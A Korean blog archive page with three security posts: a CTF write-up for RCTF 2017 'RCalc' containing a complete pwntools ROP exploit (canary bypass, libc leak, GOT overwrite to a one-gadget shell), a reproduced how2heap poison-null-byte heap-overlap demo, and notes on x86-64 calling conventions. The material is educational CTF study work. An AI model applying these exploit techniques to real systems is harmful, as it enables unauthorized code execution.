'2017/05'에 해당되는 글 3건

[RCTF 2017] RCalc

Write up/CTF 2017. 5. 22. 01:32
반응형

바이너리


RCalc

libc.so.6



어.. 일단 64bit rop는 처음이였기에 많이 오래걸렸었고.. 대략적인 풀이 방법으로는 아래와 같다.


1. urandom으로 생성된 canary 우회

2. __libc_start_main leak

3. libc.so.6 에서 /bin/sh를 찾아보면 자동으로 execve를 호출해주는 것을 확인

4. __libc_start_main - __libc_start_main_offset + execve_offset 을 통해 최종 목적 주소를 구함

5. got overwrite를 통한 execve호출

6. 플래그 확인



자세하게 설명하도록 하겠다.


main 함수는 아래와 같이 간단하게 시드를 할당 및 초기화 해주는 함수를 호출 후


타임 아웃 시간을 설정하고 계산을 해주는 함수를 호출 한다.





init_seedz 함수를 살펴보도록 하자.



할당된 순서는 c_result, seed, c_result->seed_arr, seed->seed_arr 이므로 만약 우리가 c_result의 seed_arr을 overflow 해줄 수만 있다면


seed->seed_arr을 덮어씌울 수 있을 것이다.




main함수로 돌아와서 calc함수를 살펴보도록 하자.




먼저 randomize를 호출해주는데 이는 위와 같이 처음에 seed를 urandom에서 불러와 값을 저장해주는 것을 볼 수 있다.


이 값이 나중에 get_current_seed 함수를 통해 불러와지게 되고 스택에 저장됐던 값과 비교를 통해 함수가 정상 반환될 지 결정한다.


scanf를 통해서 bof가 충분히 가능하고 scanf의 특성상 공백 문자전까지만 받아 올 수 있다는 것만 기억해두고


execute_calculator함수를 살펴보자.






간단하게 숫자 2개를 입력받아서 add, sub, mod, mul을 해준 뒤 결과값을 받아와 c_result->seed_arr[c_result->cnt++]에 저장해준다.


c_result와 seed를 덤프해보면 각각의 seed_arr의 차이가 0x110 바이트 차이가 난다.


그 공간에 8바이트의 결과값들을 저장해주는데 우리가 넣은 숫자 두개의 계산 결과가 c_result에 저장되기때문에


0x110 / 8번을 반복해서 넣어주면 정확하게 c_result->seed_arr보다 뒤에 있는 seed->seed_arr[0]에 덮어씌워진다.


이를 통해 randomize() ~ get_current_seed() 함수들을 우회가능해졌다.



그럼 Got Overwrite하기 위해서는 libc.so.6 의 함수중 하나의 주소를 알아야 offset을 통해 우리가 원하는 함수를 호출해 줄 수 있는데,

함수 우회도 되겠다.. bof를 통해서 puts나 printf쪽에 pop rdi; ret가젯을 찾아서 함수의 got를 rdi에 셋팅하고 호출해주면 되겠다.

기왕이면 Got Overwrite도 같이 하기 위해서 calc함수 시작의 printf부터 시작하도록 했다.

그렇게 되면 원하는 함수의 주소가 출력되고 그 다음에는 scanf가 있으니 rbp에 bss의 주소를 넣어주고

그에 따른 offset계산을 통해 우리가 원하는 값을 입력이 된다. (일석이조)

저는 fread_got를 잡았고 execve('/bin/sh')의 주소로 쓰면 된다.

그럼 바로 randomize함수에서 트리거가 되어 쉘이 따진다.


밑에 소스가 익스 코드임.


from pwn import * con = remote("rcalc.2017.teamrois.cn", 2333) #con = process("./RCalc/RCalc") libc = ELF("./RCalc/libc.so.6") seed = int("neko".encode("hex"), 16) def start(payload): con.recvuntil("Input your name pls: ") con.sendline(payload) con.recvuntil("Let's try our smart calculator\n") def add(): con.recvuntil("Your choice:") con.sendline("1") print con.recvuntil("input 2 integer: ") con.sendline(str(seed)) con.sendline(str(0x00)) def save(): con.recvuntil("Save the result? ") con.sendline("yes") def end(): con.recvuntil("Your choice:") con.sendline("5") libc_start_main_got = 0x601FF0 main = 0x401036 poprdi_ret = 0x00401123 poprsi_pop_ret = 0x00401121 sub_puts = 0x00400FC2 poprbp_ret = 0x00400970 bss = 0x602138 libc_start_main_offset = libc.symbols['__libc_start_main'] system_offset = 0x4526A print hex(libc_start_main_offset) print hex(system_offset) payload = "" payload += "A" * 0x108 payload += p64(seed) # seed payload += p64(bss) # dummy payload += p64(poprdi_ret) payload += p64(libc_start_main_got) payload += p64(sub_puts) start(payload) for i in range(0x110/8+1): print (i + 1), "Attempt" add() save() print "Get Libc Addr" end() libc_start_main = int(con.recv(8)[::-1].encode("hex"), 16) libc_system = libc_start_main - libc_start_main_offset + system_offset print "__libc_start_main : " + hex(libc_start_main) print "system : " + hex(libc_system) con.sendline(p64(libc_system)) con.interactive()


'Write up > CTF' 카테고리의 다른 글

[defcon26] racewars  (0) 2019.03.25
[Codegate 2019] writeup  (0) 2019.01.29
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> int main() { printf("Welcome to poison null byte 2.0!\n"); printf("Tested in Ubuntu 14.04 64bit.\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"); uint8_t* a; uint8_t* b; uint8_t* c; uint8_t* b1; uint8_t* b2; uint8_t* d; printf("We allocate 0x100 bytes for 'a'.\n"); a = (uint8_t*) malloc(0x100); printf("a: %p\n", a); int real_a_size = malloc_usable_size(a); printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' " "(it may be more than 0x100 because of rounding): %#x\n", real_a_size); /* chunk size attribute cannot have a least significant byte with a value of 0x00. * the least significant byte of this will be 0x10, because the size of the chunk includes * the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0x200); printf("b: %p\n", b); c = (uint8_t*) malloc(0x100); printf("c: %p\n", c); uint64_t* b_size_ptr = (uint64_t*)(b - 8); /* this technique works by overwriting the size metadata of a free chunk */ free(b); printf("b.size: %#lx\n", *b_size_ptr); printf("b.size is: (0x200 + 0x10) | prev_in_use\n"); printf("We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; printf("b.size: %#lx\n", *b_size_ptr); uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2; printf("c.prev_size is %#lx\n",*c_prev_size_ptr); b1 = malloc(0x100); printf("b1: %p\n",b1); printf("Now we malloc 'b1'. It will be placed where 'b' was. " "At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr); printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes " "before c.prev_size: %lx\n",*(((uint64_t*)c)-4)); printf("We malloc 'b2', our 'victim' chunk.\n"); b2 = malloc(0x80); printf("b2: %p\n",b2); memset(b2,'B',0x80); printf("Current b2 content:\n%s\n",b2); printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"); free(b1); free(c); printf("Finally, we allocate 'd', overlapping 'b2'.\n"); d = malloc(0x300); printf("d: %p\n",d); printf("Now 'd' and 'b2' overlap.\n"); memset(d,'D',0x300); printf("New b2 content:\n%s\n",b2); printf("Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf " "for the clear explanation of this technique.\n"); }


요약


3개를 할당한 뒤 두번째 chunk를 해제하고 size를 null byte Overwrite한 뒤 원래 b의 크기였던 0x200보다 작은 크기로 두 개를 할당해주고


새로 할당했던 것중 먼저 했던 걸 해제해주고 c를 해제해주게 되면 b2를 overlapping할 수 있게 된다. (forget)


즉, d를 새로 할당하게 되면 b2가 overlapping된 상태로 할당이 된다.



Glibc_Adventures-The_Forgotten_Chunks.pdf


'공부' 카테고리의 다른 글

[IDA] C++ Class 변환  (0) 2017.08.09
[QEMU] iptime emulating  (2) 2017.07.26
64비트 Calling Convention  (0) 2017.05.09
GCC Stack Boundary  (0) 2017.04.27
정보보안기사 정리  (0) 2017.04.20
블로그 이미지

KuroNeko_

KuroNeko

,
반응형


 Linux

Window 

 RDI

 RCX

 RSI

 RDX

 RDX

 R8

 RCX

 R9

 R8

Stack

 R9

Stack



이 순서대로 Argument 가 들어간다.


리눅스는 Argument를 레지스터에 최대 6개까지 지원해주고 나머지는 스택에 Push하는 방식이다


Window는 4개만 지원하고 나머지는 스택에 push하는 방식이다.


즉 64bit ROP짤 때 각각 pop [reg] ret를 찾아서 call chain하면 되겠다

'공부' 카테고리의 다른 글

[QEMU] iptime emulating  (2) 2017.07.26
[how2heap] poison_null_byte  (0) 2017.05.09
GCC Stack Boundary  (0) 2017.04.27
정보보안기사 정리  (0) 2017.04.20
[C++] 프로그램 관리자 권한 요구  (0) 2017.01.04
블로그 이미지

KuroNeko_

KuroNeko

,